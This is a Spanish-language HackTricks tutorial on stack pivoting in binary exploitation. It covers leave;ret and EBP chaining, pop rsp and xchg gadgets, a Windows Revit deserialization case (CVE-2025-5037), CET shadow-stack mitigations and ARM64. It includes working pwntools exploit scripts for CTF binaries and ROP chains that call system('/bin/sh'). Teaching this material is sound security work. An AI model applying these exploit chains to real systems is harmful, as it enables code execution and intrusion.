Stack Pivoting

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Esta técnica explota la capacidad de manipular el Base Pointer (EBP/RBP) para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del frame pointer y la secuencia de instrucciones leave; ret.

Como recordatorio, en x86/x86-64 leave equivale a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

Y como el saved EBP/RBP is in the stack antes que el saved EIP/RIP, es posible controlarlo controlando la stack.

Notas

  • En 64-bit, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
  • Algunos compiladores omiten el frame pointer (ver “EBP might not be used”). En ese caso, leave podría no aparecer y esta técnica no funcionará.

EBP2Ret

Esta técnica es particularmente útil cuando puedes alterar el saved EBP/RBP but have no direct way to change EIP/RIP. Aprovecha el comportamiento del epílogo de la función.

Si, durante la ejecución de fvuln, logras inyectar un fake EBP en la stack que apunte a un área de memoria donde está localizada la dirección de tu shellcode/ROP chain (más 8 bytes en amd64 / 4 bytes en x86 para compensar el pop), puedes controlar indirectamente RIP. Al retornar la función, leave pone RSP en la ubicación manipulada y el pop rbp subsecuente decrementa RSP, haciendo que apunte efectivamente a una dirección colocada por el atacante allí. Entonces ret usará esa dirección.

Fíjate que necesitas conocer 2 direcciones: la dirección a la que irá ESP/RSP, y el valor almacenado en esa dirección que ret consumirá.

Exploit Construction

Primero necesitas conocer una dirección donde puedas escribir datos/direcciones arbitrarias. RSP apuntará aquí y consumirá el primer ret.

Luego, necesitas escoger la dirección que ret usará para transferir la ejecución. Podrías usar:

  • Una dirección válida de ONE_GADGET.
  • La dirección de system() seguida del retorno y los argumentos apropiados (en x86: ret target = &system, luego 4 bytes basura, luego &"/bin/sh").
  • La dirección de un gadget jmp esp; (ret2esp) seguido de shellcode inline.
  • Una cadena ROP preparada en memoria escribible.

Recuerda que antes de cualquiera de estas direcciones en el área controlada, debe haber espacio para el pop ebp/rbp de leave (8B en amd64, 4B en x86). Puedes abusar de esos bytes para colocar un segundo fake EBP y mantener el control después de que la primera llamada retorne.

Off-By-One Exploit

Existe una variante usada cuando solo puedes modificar el byte menos significativo del saved EBP/RBP. En tal caso, la ubicación de memoria que almacena la dirección a la que saltará con ret debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobreescritura de 1 byte pueda redirigirla. Normalmente el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.

También es común usar un RET sled en la stack y poner la ROP chain real al final para que sea más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.

EBP Chaining

Colocando una dirección controlada en el slot de EBP guardado de la stack y un gadget leave; ret en EIP/RIP, es posible mover ESP/RSP a una dirección controlada por el atacante.

Ahora RSP está controlado y la siguiente instrucción es ret. Coloca en la memoria controlada algo como:

  • &(next fake EBP) -> Cargado por pop ebp/rbp de leave.
  • &system() -> Llamado por ret.
  • &(leave;ret) -> Después de que system termina, mueve RSP al siguiente EBP falso y continúa.
  • &("/bin/sh") -> Argumento para system.

De esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.

Esto es como un ret2lib, pero más complejo y solo útil en edge-cases.

Además, aquí tienes un example of a challenge que usa esta técnica con un stack leak para llamar a una función ganadora. Este es el payload final de la página:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

consejo de alineación amd64: System V ABI requiere alineación de pila de 16 bytes en los sitios de llamada. Si tu cadena llama funciones como system, añade un gadget de alineación (por ejemplo, ret, o sub rsp, 8 ; ret) antes de la llamada para mantener la alineación y evitar fallos por movaps.

EBP podría no usarse

Como se explica en este post, si un binario está compilado con ciertas optimizaciones o con omission del frame-pointer, el EBP/RBP nunca controla ESP/RSP. Por lo tanto, cualquier exploit que dependa de controlar EBP/RBP fallará porque el prólogo/epílogo no restaura desde el frame pointer.

  • No optimizado / frame pointer usado:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizado / frame pointer omitido:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

En amd64 a menudo verás pop rbp ; ret en lugar de leave ; ret, pero si el puntero de marco se omite por completo entonces no hay un epílogo basado en rbp por el que pivotar.

Otras formas de controlar RSP

pop rsp gadget

In this page puedes encontrar un ejemplo que usa esta técnica. Para ese reto fue necesario llamar a una función con 2 argumentos específicos, y había un pop rsp gadget y hay un leak desde la pila:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consulta la técnica ret2esp aquí:

Ret2esp / Ret2reg

Encontrar pivot gadgets rápidamente

Usa tu gadget finder favorito para buscar pivot primitives clásicas:

  • leave ; ret en funciones o en bibliotecas
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret en x86)

Ejemplos:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Patrón clásico de pivot staging

Una estrategia de pivot robusta usada en muchos CTFs/exploits:

  1. Usa un desbordamiento inicial pequeño para llamar a read/recv hacia una región grande y escribible (p. ej., .bss, heap, o memoria mapeada RW) y colocar allí una cadena ROP completa.
  2. Retorna hacia un pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) para mover RSP a esa región.
  3. Continúa con la cadena staged (p. ej., leak libc, llamar a mprotect, luego read shellcode, y saltar a éste).

Windows: Destructor-loop weird-machine pivots (Revit RFA estudio de caso)

Los parsers del lado cliente a veces implementan bucles de destructores que llaman indirectamente a un puntero a función derivado de campos de objetos controlados por el atacante. Si cada iteración ofrece exactamente una llamada indirecta (una máquina “one-gadget”), puedes convertir esto en un stack pivot fiable y una entrada ROP.

Observado en la deserialización de Autodesk Revit RFA (CVE-2025-5037):

  • Los objetos creados del tipo AString colocan un puntero a bytes del atacante en el offset 0.
  • El bucle de destructores ejecuta efectivamente un gadget por objeto:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Dos pivots prácticos:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” que contiene 8B E0mov esp, eax, eventualmente ret, para pivotar desde el call primitive hacia una heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): usar dos objetos para conducir un constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (mueve el rax original a rbp)
    • Gadget 2: leave ; ... ; ret (se convierte en mov rsp, rbp ; pop rbp ; ret), pivotando hacia el buffer del primer objeto, donde sigue una ROP chain convencional.

Consejos para Windows x64 después del pivot:

  • Respeta el shadow space de 0x20 bytes y mantén la alineación a 16 bytes antes de los sitios call. A menudo es conveniente colocar literales por encima de la return address y usar un gadget como lea rcx, [rsp+0x20] ; call rax seguido de pop rax ; ret para pasar direcciones de pila sin corromper el flujo de control.
  • Non-ASLR helper modules (si están presentes) proporcionan pools de gadgets estables e imports como LoadLibraryW/GetProcAddress para resolver dinámicamente objetivos como ucrtbase!system.
  • Crear gadgets ausentes mediante un writable thunk: si una secuencia prometedora termina en un call a través de un puntero de función escribible (p. ej., DLL import thunk o puntero de función en .data), sobrescribe ese puntero con un single-step benigno como pop rax ; ret. La secuencia entonces se comporta como si terminara con ret (p. ej., mov rdx, rsi ; mov rcx, rdi ; ret), lo cual es invaluable para cargar los registros de argumentos de Windows x64 sin corromper otros registros.

Para la construcción completa de la cadena y ejemplos de gadgets, vea la referencia abajo.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Las CPUs x86 modernas y los OSes despliegan cada vez más CET Shadow Stack (SHSTK). Con SHSTK habilitado, ret compara la return address en la pila normal con una shadow stack protegida por hardware; cualquier discrepancia lanza un Control-Protection fault y termina el proceso. Por lo tanto, técnicas como EBP2Ret/leave;ret-based pivots fallarán tan pronto se ejecute el primer ret desde una pila pivotada.

  • For background and deeper details see:

CET & Shadow Stack

  • Comprobaciones rápidas en Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notas para labs/CTF:

  • Algunas distros modernas habilitan SHSTK para binarios compatibles con CET cuando el hardware y glibc lo soportan. Para pruebas controladas en VMs, SHSTK puede deshabilitarse a nivel de sistema mediante el parámetro de arranque del kernel nousershstk, o habilitarse selectivamente mediante tunables de glibc durante el arranque (ver referencias). No deshabilites mitigaciones en objetivos de producción.

  • Técnicas basadas en JOP/COOP o SROP aún pueden ser viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en ret.

  • Nota Windows: Windows 10+ expone protección en user-mode y Windows 11 añade en kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. Los procesos compatibles con CET previenen stack pivoting/ROP en ret; los desarrolladores se registran mediante CETCOMPAT y políticas relacionadas (ver referencia).

ARM64

En ARM64, los prólogo y epílogos de las funciones no almacenan ni recuperan el registro SP en la stack. Además, la instrucción RET no retorna a la dirección apuntada por SP, sino a la dirección contenida en x30.

Por lo tanto, por defecto, simplemente abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos dentro de la stack. Y aun si logras controlar el SP, aún necesitarías una forma de controlar el registro x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

La forma de realizar algo similar a stack pivoting en ARM64 sería poder controlar el SP (controlando algún registro cuyo valor se pasa a SP o porque por alguna razón SP toma su dirección desde la stack y tenemos un overflow) y luego abusar del epílogo para cargar el registro x30 desde un SP controlado y hacer RET hacia él.

También en la siguiente página puedes ver el equivalente de Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks